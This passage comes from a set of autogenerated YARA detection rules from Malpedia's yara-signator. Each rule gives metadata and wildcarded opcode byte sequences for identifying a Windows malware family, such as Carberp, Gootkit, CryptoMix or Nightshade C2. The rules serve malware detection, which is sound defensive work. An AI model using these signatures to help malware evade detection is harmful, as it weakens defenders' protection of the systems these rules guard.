		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.carberp_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "86e4e7a3a500c58000a297ef120e6eaa02ce211014fb7c016ba6df2b3118cc01"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff750c 33db ff35???????? e8???????? 8bf0 59 59 }
		$sequence_1 = { 7416 80f92f 7411 80f93d 740c 3bc6 7e04 }
		$sequence_2 = { 7415 3bcb 7611 83fa1f 730c 884415d4 42 }
		$sequence_3 = { 8d0409 83f80a 89442410 7e08 c74424100a000000 3b6c243c 0f8cf5fdffff }
		$sequence_4 = { ff7514 e8???????? 8bf0 59 85f6 7416 ff7514 }
		$sequence_5 = { 68???????? 50 68???????? 6a03 e8???????? 83c410 8906 }
		$sequence_6 = { e8???????? 59 5e c3 6a00 56 e8???????? }
		$sequence_7 = { ff731c 6a09 680b110000 ff35???????? e8???????? 83c410 85c0 }
		$sequence_8 = { ff742410 ff742410 ff742410 ff742410 ffd0 c3 56 }
		$sequence_9 = { 817e0402020000 0f85c1000000 6af4 ff36 e8???????? 59 59 }
	condition:
		7 of them and filesize < 491520
}

rule MALPEDIA_Win_Rctrl_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "521dcb03-760d-5ed1-9bc0-cfe33a8e8406"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rctrl"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rctrl_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "3aa1e790ecad0aeaad15ec64d74fdf04a1c9b1767736a5ae9f383b695d1cefd0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 41 0024bf 41 00558b ec 81ec90000000 a1???????? }
		$sequence_1 = { e8???????? c3 83795c00 7405 }
		$sequence_2 = { 7507 32db e9???????? 6890010000 8d8564fcffff 6a00 50 }
		$sequence_3 = { e8???????? cc 55 8bec 837d0c00 57 8bf9 }
		$sequence_4 = { 8b02 3b07 7536 52 e8???????? 83ceff 8985c8fbffff }
		$sequence_5 = { b801000000 833d????????00 0f8516710000 ba05000000 8d0dd0185a00 e8???????? 5a }
		$sequence_6 = { ffb3780b0000 8d4d80 6a00 6a00 56 50 e8???????? }
		$sequence_7 = { 8bc7 8b55cc 83c2f0 f00fc1420c 48 85c0 7f08 }
		$sequence_8 = { 84c0 75f9 2bce 51 52 e8???????? 6a00 }
		$sequence_9 = { e9???????? 8d8de0fcffff e9???????? 8d8de8fcffff e9???????? 8d8d00fdffff e9???????? }
	condition:
		7 of them and filesize < 4315136
}

rule MALPEDIA_Win_Merdoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "840879eb-651f-58a0-a9dd-c8bbbd75be85"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.merdoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.merdoor_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "6ad90da4b59952ca06b1d837955ca9f12c104be55324a03e7aaa640c9c01019a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 41 0fb7c0 47 663102 83c202 6683f908 72cf }
		$sequence_1 = { e8???????? 83c40c 8934fd78f30110 eb07 56 e8???????? 59 }
		$sequence_2 = { 5d c20400 c7875404000001000000 8b07 }
		$sequence_3 = { 8d4590 50 8d45a4 50 ff15???????? }
		$sequence_4 = { 75f9 2bca 51 8d85acfeffff 50 8d8d7cfcffff e8???????? }
		$sequence_5 = { b91a000000 f7f9 80c261 eb10 e8???????? 99 }
		$sequence_6 = { e8???????? 8987e4020000 c645fc02 8d55c0 b8fe000000 c745c0a3008d00 33c9 }
		$sequence_7 = { 8dbb78030000 c785dcfdffff01000000 7204 8b07 eb02 8bc7 }
		$sequence_8 = { e8???????? 8987e4020000 c645fc02 8d55c0 b8fe000000 c745c0a3008d00 }
		$sequence_9 = { 8b7310 8d4310 8b11 51 50 8d4508 }
	condition:
		7 of them and filesize < 307200
}

rule MALPEDIA_Win_Redpepper_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d2edfb9a-1eb5-5a85-952d-b05e4e2a71cd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redpepper"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redpepper_auto.yar#L1-L113"
		license_url = "N/A"
		logic_hash = "e96cef7dbcd0aadec344d24829840e1785ca6a9324f588db92d46f4ddb824ac9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? 6a15 8d562c 6aff }
		$sequence_1 = { 8b500c 41 83f904 8b12 8a540aff }
		$sequence_2 = { 7405 e8???????? 8bc7 5f c9 }
		$sequence_3 = { 8b460c 85c0 7432 8b442420 }
		$sequence_4 = { 8b450c 2bc7 50 8d041f }
		$sequence_5 = { 6a01 8bcf 8bd8 e8???????? ff75fc }
		$sequence_6 = { 6a65 6a20 e8???????? 83c428 8bc5 }
		$sequence_7 = { 3c0a 741e 8365f800 3c0d 7503 895df8 3b750c }
		$sequence_8 = { 83c404 85c0 7411 8b4c2418 5f }
		$sequence_9 = { 8d85b4feffff 50 56 ff15???????? 56 }
	condition:
		7 of them and filesize < 2482176
}

rule MALPEDIA_Win_Rc2Fm_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c250c949-1a89-5be3-9c88-097a9b8f6b70"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rc2fm"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rc2fm_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "986b120a9f724a13ca09bdf0fceb457439c7912247f9f7f547406d208ddfc0d0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4885c0 7431 8b542420 488b4c2428 4533c0 e8???????? 448b442420 }
		$sequence_1 = { 8bc1 d1e9 83e001 418b0481 33c1 3305???????? 33d2 }
		$sequence_2 = { 48c1e004 4c89642430 4803c1 4889442438 }
		$sequence_3 = { 33d2 ff15???????? 488b0d???????? ff15???????? e9???????? 40b70d e9???????? }
		$sequence_4 = { 0f8736080000 4883791000 0f842b080000 48833900 750a 83790800 0f851b080000 }
		$sequence_5 = { 41b804000000 488bc8 4889742470 4032ed 48c744242000000000 ff15???????? 85c0 }
		$sequence_6 = { ff5010 eb62 448bc0 ba03000700 b900000100 e8???????? }
		$sequence_7 = { ff90a8000000 85c0 792c 448bc0 ba07000a00 b903000100 e8???????? }
		$sequence_8 = { 5e c3 ff15???????? ba06000600 b911000100 448bc0 e8???????? }
		$sequence_9 = { 0f8781010000 83fd09 0f8778010000 448b642478 4183fc04 0f8769010000 488b4938 }
	condition:
		7 of them and filesize < 410624
}

rule MALPEDIA_Win_Icexloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9728ecc3-5098-572d-97ec-dd9f0ce4c650"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icexloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.icexloader_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "b722e25be5e83e6d5656f0c81a7b7a7da3a63f2b0bd49196ee8eb2c89a1c5431"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd7 890424 ffd6 c744240400800000 890424 ffd3 83c41c }
		$sequence_1 = { 807de47e 0fb6d8 0f85d9000000 eb53 8b1e 83eb05 39da }
		$sequence_2 = { c705????????04000000 c705????????04000000 66c705????????1503 c705????????00c64300 c705????????04000000 c705????????04000000 }
		$sequence_3 = { e8???????? 85c0 7405 833800 7515 c70424???????? }
		$sequence_4 = { 89d3 e8???????? 85c0 740f 837cd87800 7406 8d44d878 }
		$sequence_5 = { 46 e8???????? 89da e8???????? ebc8 83c41c 5b }
		$sequence_6 = { 8b00 85c0 7405 8b00 8945d4 c645db00 31ff }
		$sequence_7 = { 89c6 e8???????? 8b55e4 895c2408 89f3 c744241c00000000 c744241800000000 }
		$sequence_8 = { 8d4314 e8???????? 8d4310 e8???????? 58 89d9 5b }
		$sequence_9 = { 89e5 83ec10 8b4508 83c014 8945fc 8b4508 8b4010 }
	condition:
		7 of them and filesize < 656384
}

rule MALPEDIA_Win_Proto8_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a653386d-0e84-5fa0-9e05-c0a8f9e5f3b1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.proto8_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.proto8_rat_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "e04ff586ad60efc989beb40a085354d9626a8059dbb86884929c6e4aa752aeb0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b5a10 8b4210 83c308 83e3fa a801 7421 8b4210 }
		$sequence_1 = { ba80000000 e8???????? c70302000000 4c8b8320010000 488d4318 488b9328010000 33f6 }
		$sequence_2 = { 837c244801 0f8595000000 488b6c2458 8b7b30 488b4b48 488b01 ff5008 }
		$sequence_3 = { 7468 3bca 8bc1 0f46c2 ffc0 4103c0 3bf0 }
		$sequence_4 = { 89531c 48873cc8 4885ff 7506 8d4201 89431c 40f6c701 }
		$sequence_5 = { e8???????? 448bf0 e9???????? 4c8b86a8000000 488d8e88000000 488b96b0000000 4d8bcd }
		$sequence_6 = { 7636 66660f1f840000000000 8bc8 48c1e106 428b541124 85d2 }
		$sequence_7 = { 8b8b64810100 897dd4 897de4 897df4 488b8378810100 488d55b0 }
		$sequence_8 = { 83e801 7455 83e801 743d 83e801 740a 83f801 }
		$sequence_9 = { 8b4318 3bc8 0f8e96000000 488b4b38 48894c2450 e8???????? }
	condition:
		7 of them and filesize < 2537472
}

rule MALPEDIA_Win_Unidentified_074_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0e88fd75-1316-5da0-a27c-d979440b0d1c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_074"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_074_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "efaf1ffd6b205d550b6e92c44f0056ae88e73af2fe4605531aaeb9c3b3bf90af"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4d0c 3bf1 752a 8b4614 83f808 7204 }
		$sequence_1 = { 83f808 720d 40 50 ffb528e7ffff e8???????? }
		$sequence_2 = { 8d8528e7ffff 50 8d8570e7ffff 50 8d85f8e6ffff 50 }
		$sequence_3 = { 75f3 8bcf e8???????? 3bd0 }
		$sequence_4 = { 8855ee 660f1f440000 0fb64435ec 50 51 }
		$sequence_5 = { 33d2 8b4f10 33f6 c740140f000000 83781410 894ddc 8955e0 }
		$sequence_6 = { 6800040000 8985f8f7ffff 8901 8d85fcfbffff }
		$sequence_7 = { 8b85e0f7ffff 85c0 7407 50 ff15???????? 85ff }
		$sequence_8 = { 8d4618 7202 8b00 837e1410 7202 8b36 6a00 }
		$sequence_9 = { 8b853ce7ffff 83f808 720d 40 50 ffb528e7ffff }
	condition:
		7 of them and filesize < 335872
}

rule MALPEDIA_Win_Nightshade_C2_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "506408db-305c-5339-b348-c82ff40c922a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightshade_c2"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nightshade_c2_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "73549f59f11fbc1afdb3ccb5b45ff5a2e04bde2ab7c3c97f1567af6c297191aa"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c744243000000000 488b842438010000 4889442428 89542420 448bcf 4533c0 33d2 }
		$sequence_1 = { c744242000000000 eb0b 8b442420 83c002 89442420 8b842480000000 39442420 }
		$sequence_2 = { 488b4c2458 ff15???????? 90 48837c247000 740c 488b4c2470 ff15???????? }
		$sequence_3 = { 8b442458 89442428 488b442460 4889442420 448b4c2454 4c8b442470 33d2 }
		$sequence_4 = { 8b0c24 486bc903 488b542408 0fb60c0a 81e1ff000000 0bc1 8b0c24 }
		$sequence_5 = { ff15???????? ff15???????? 90 488b442440 488bc8 e8???????? 90 }
		$sequence_6 = { 48638424b8000000 488b8c24b0000000 4803c8 488bc1 4889442430 c744244400000000 eb0b }
		$sequence_7 = { 85c0 7479 488b542438 488d0d0ce50100 e8???????? 85c0 }
		$sequence_8 = { ff15???????? 85c0 7505 e9???????? 41b810000000 488d9424b8000000 488b4c2448 }
		$sequence_9 = { 8b442424 8b4c2460 2bc8 8bc1 3dffff0000 7e0a c7442420ffff0000 }
	condition:
		7 of them and filesize < 458752
}

rule MALPEDIA_Win_Vigilant_Cleaner_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b2070620-d9f7-5811-b76d-80baf53d08b2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vigilant_cleaner"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vigilant_cleaner_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "7e320a52ca8b714b97d83c5af01f55040082927d0e7ca8657f050cb83fb7182e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 53 b868584d56 bb00000000 b90a000000 ba58560000 ed 5b }
		$sequence_1 = { ed 5b 59 5a }
		$sequence_2 = { b90a000000 ba58560000 ed 5b 59 }
		$sequence_3 = { b868584d56 bb00000000 b90a000000 ba58560000 ed 5b 59 }
		$sequence_4 = { bb00000000 b90a000000 ba58560000 ed 5b }
		$sequence_5 = { b90a000000 ba58560000 ed 5b 59 5a }
		$sequence_6 = { ba58560000 ed 5b 59 }
		$sequence_7 = { ba58560000 ed 5b 59 5a }
		$sequence_8 = { b868584d56 bb00000000 b90a000000 ba58560000 ed 5b }
		$sequence_9 = { bb00000000 b90a000000 ba58560000 ed 5b 59 }
	condition:
		7 of them and filesize < 1181696
}

rule MALPEDIA_Win_Ntospy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8131d4ba-7ab9-5f25-bfe1-80fb81c429a4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ntospy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ntospy_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "8fbd4c5ffc79f2d95a93b5deb7321b5b82d08f35463db086df64bd3e92a52647"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 5f c3 48897c2408 488d3dacf90000 }
		$sequence_1 = { eb74 85c9 7858 3b15???????? 7350 488bca 4c8d05e5b40000 }
		$sequence_2 = { 8bfa 4c8d0d5d740000 488bd9 488d1553740000 b916000000 4c8d053f740000 e8???????? }
		$sequence_3 = { b808000000 486bc000 488d0deaad0000 48c7040102000000 b808000000 }
		$sequence_4 = { 48890d???????? 488d0512f50000 488d0d3bf70000 488905???????? 48890d???????? e8???????? }
		$sequence_5 = { 4c8d0578760000 488d15016d0000 e8???????? 4885c0 740f 488bcb }
		$sequence_6 = { f20f1000 8b5808 e9???????? 488d05dfc70000 4a8b0ce8 }
		$sequence_7 = { 488d0d4c710000 8364242800 41b803000000 4533c9 }
		$sequence_8 = { c3 4883ec28 e8???????? 488bc8 488d1501040100 }
		$sequence_9 = { 4533f6 4863ce 488d3d20f90000 488bc1 }
	condition:
		7 of them and filesize < 208896
}

rule MALPEDIA_Win_Rokku_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5e0917d2-b33a-54a8-a28e-92ca643aac23"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokku"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rokku_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "5443b2e7560cc69ec04b0b3e247a5b78bf0ac816da2824e945b614a9052a8971"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0bd0 c1e90e 8b442418 0bf1 33442444 }
		$sequence_1 = { c1fb1a 01442420 8b442430 1154241c f76c2438 01442420 8b44246c }
		$sequence_2 = { 8d54240c e8???????? a3???????? 33c0 c744240c5d786f7a c74424106b4c6f72 66c74424146b00 }
		$sequence_3 = { 03d0 33ca 8954242c 8b542428 c1c10c 03d1 }
		$sequence_4 = { 8bf1 89742408 85f6 745d 53 8b1e 57 }
		$sequence_5 = { 83f917 72f0 8b0d???????? 88542439 8d542422 e8???????? }
		$sequence_6 = { 8d7d28 53 8d5328 8bcf e8???????? 8b742448 83c550 }
		$sequence_7 = { 894a0c 8b4c2420 0fa4c11a 8b4c2410 c1e01a 2bc8 8b842488000000 }
		$sequence_8 = { 7517 8b0e 68???????? e8???????? 33c9 84c0 0f45cf }
		$sequence_9 = { 41 83f905 7305 8a55ee ebee }
	condition:
		7 of them and filesize < 548864
}

rule MALPEDIA_Win_Cryptomix_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "66a42334-0f35-544f-b73c-0df7b8e22035"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptomix"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptomix_auto.yar#L1-L177"
		license_url = "N/A"
		logic_hash = "02f656068f4f76c12e869f1af5a2e63ec8e44cb4db7dffbbf055e2899960d03b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? ffd0 683e8d61be 6a06 }
		$sequence_1 = { ffb580efffff ff15???????? 56 68???????? ff15???????? 68???????? 68???????? }
		$sequence_2 = { 85c0 0f87e0000000 68???????? 56 e8???????? 59 59 }
		$sequence_3 = { 8be5 5d c3 3dc0ede0b7 }
		$sequence_4 = { ffb5e0fbffff ff15???????? ff85e8fbffff 8d85e4fbffff 50 68???????? }
		$sequence_5 = { 59 ff742408 ff742408 ffd0 c3 68c142487b 6a01 }
		$sequence_6 = { 8b30 57 8b7dfc 68dee70218 6a05 e8???????? }
		$sequence_7 = { 68???????? 8d85e8fbffff 50 ffd7 8d85c4f9ffff 50 8d85e8fbffff }
		$sequence_8 = { 8bf9 e8???????? 83c40c 8d85e0fbffff 50 8d85f4fdffff 50 }
		$sequence_9 = { c785e4fbffff04010000 ff15???????? 8d85e4fbffff 50 56 }
		$sequence_10 = { 7571 b801000000 8b4dfc 33cd e8???????? 8be5 }
		$sequence_11 = { 55 8bec 83ec10 57 33ff 6822ded78a }
		$sequence_12 = { 6802f1f808 6a01 e8???????? 83c430 56 6880000000 }
		$sequence_13 = { 33c0 8d95f4fdffff 6685c9 0f8465010000 0fb7c9 c1c007 }
		$sequence_14 = { ff75f4 6a40 e8???????? 8bd8 }
		$sequence_15 = { 59 8d4dfc 51 683f020f00 56 bb???????? 53 }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Xenarmor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "55610d93-1ce0-5ea9-b26e-9c8f1380484b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xenarmor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xenarmor_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "10c19019c6e353e0437445c705fdac1c2ec6dd84cb0e3e79b7bc1280d736134b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f7f9 8b8d64ffffff 6640 66034616 8bd0 e8???????? f7462440010000 }
		$sequence_1 = { e8???????? 8bf0 83c418 85f6 0f84ed000000 8d8584e5ffff 8d8dfcd1ffff }
		$sequence_2 = { e8???????? 50 8d4d08 c645fc03 e8???????? c645fc00 8bc7 }
		$sequence_3 = { e9???????? ff7304 8b53bc ff73e0 8b4d0c e8???????? 83c408 }
		$sequence_4 = { ff742428 ba56000000 ff742428 e8???????? 83c40c eb33 8b542420 }
		$sequence_5 = { 8bf0 e8???????? 8b5df0 8bf8 57 56 ba35000000 }
		$sequence_6 = { 8d8ff8000000 e8???????? 895de8 c745e4d4ee6800 ff750c 8d4de4 895dfc }
		$sequence_7 = { f6400408 0f8589000000 83783000 8b44246c 741c 85c0 7518 }
		$sequence_8 = { ba74000000 e8???????? 83c40c eb37 8d4201 89416c 8d0c92 }
		$sequence_9 = { 8bce e8???????? 685e010000 8bce e8???????? 8b86a8b30500 038690b30500 }
	condition:
		7 of them and filesize < 10894336
}

rule MALPEDIA_Win_Gootkit_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cc674f83-d3cc-5cc6-8f48-f7ded72789f2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gootkit_auto.yar#L1-L334"
		license_url = "N/A"
		logic_hash = "e886088177ff2cbe60c39328c9402db705beff1123d5a11d85e3c6ea020086bf"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 41 3bca 72f2 56 6a00 ff15???????? }
		$sequence_1 = { 3bca 72f2 335df0 6a10 58 }
		$sequence_2 = { 33c0 85c9 0f444508 5d c20400 }
		$sequence_3 = { 50 56 ff15???????? 56 ffd7 8bd0 33ff }
		$sequence_4 = { 59 85c0 740c 8b30 33ff 0375dc }
		$sequence_5 = { 8b840888000000 eb04 8b440878 03c1 c3 }
		$sequence_6 = { e8???????? 8b5dfc ff75f4 6a00 ff15???????? }
		$sequence_7 = { 894df4 50 ff75fc ffd7 85c0 744b }
		$sequence_8 = { f3aa 68???????? ff15???????? 50 }
		$sequence_9 = { 8b7df4 32c0 8b4de4 f3aa }
		$sequence_10 = { 50 68???????? ff15???????? 85c0 7505 e8???????? }
		$sequence_11 = { 50 e8???????? 83c40c 68fd000000 }
		$sequence_12 = { 50 8b4508 8b00 99 }
		$sequence_13 = { c705????????01000000 c705????????02000000 8be5 5d }
		$sequence_14 = { 833d????????00 750a 6a32 ff15???????? }
		$sequence_15 = { e8???????? 6a0c 6a08 ff15???????? 50 ff15???????? }
		$sequence_16 = { 6808020000 6a00 ff15???????? 50 }
		$sequence_17 = { 6a02 ff15???????? 6888130000 ff15???????? }
		$sequence_18 = { e8???????? 8d45fc 50 6a01 6a01 6a00 6800000002 }
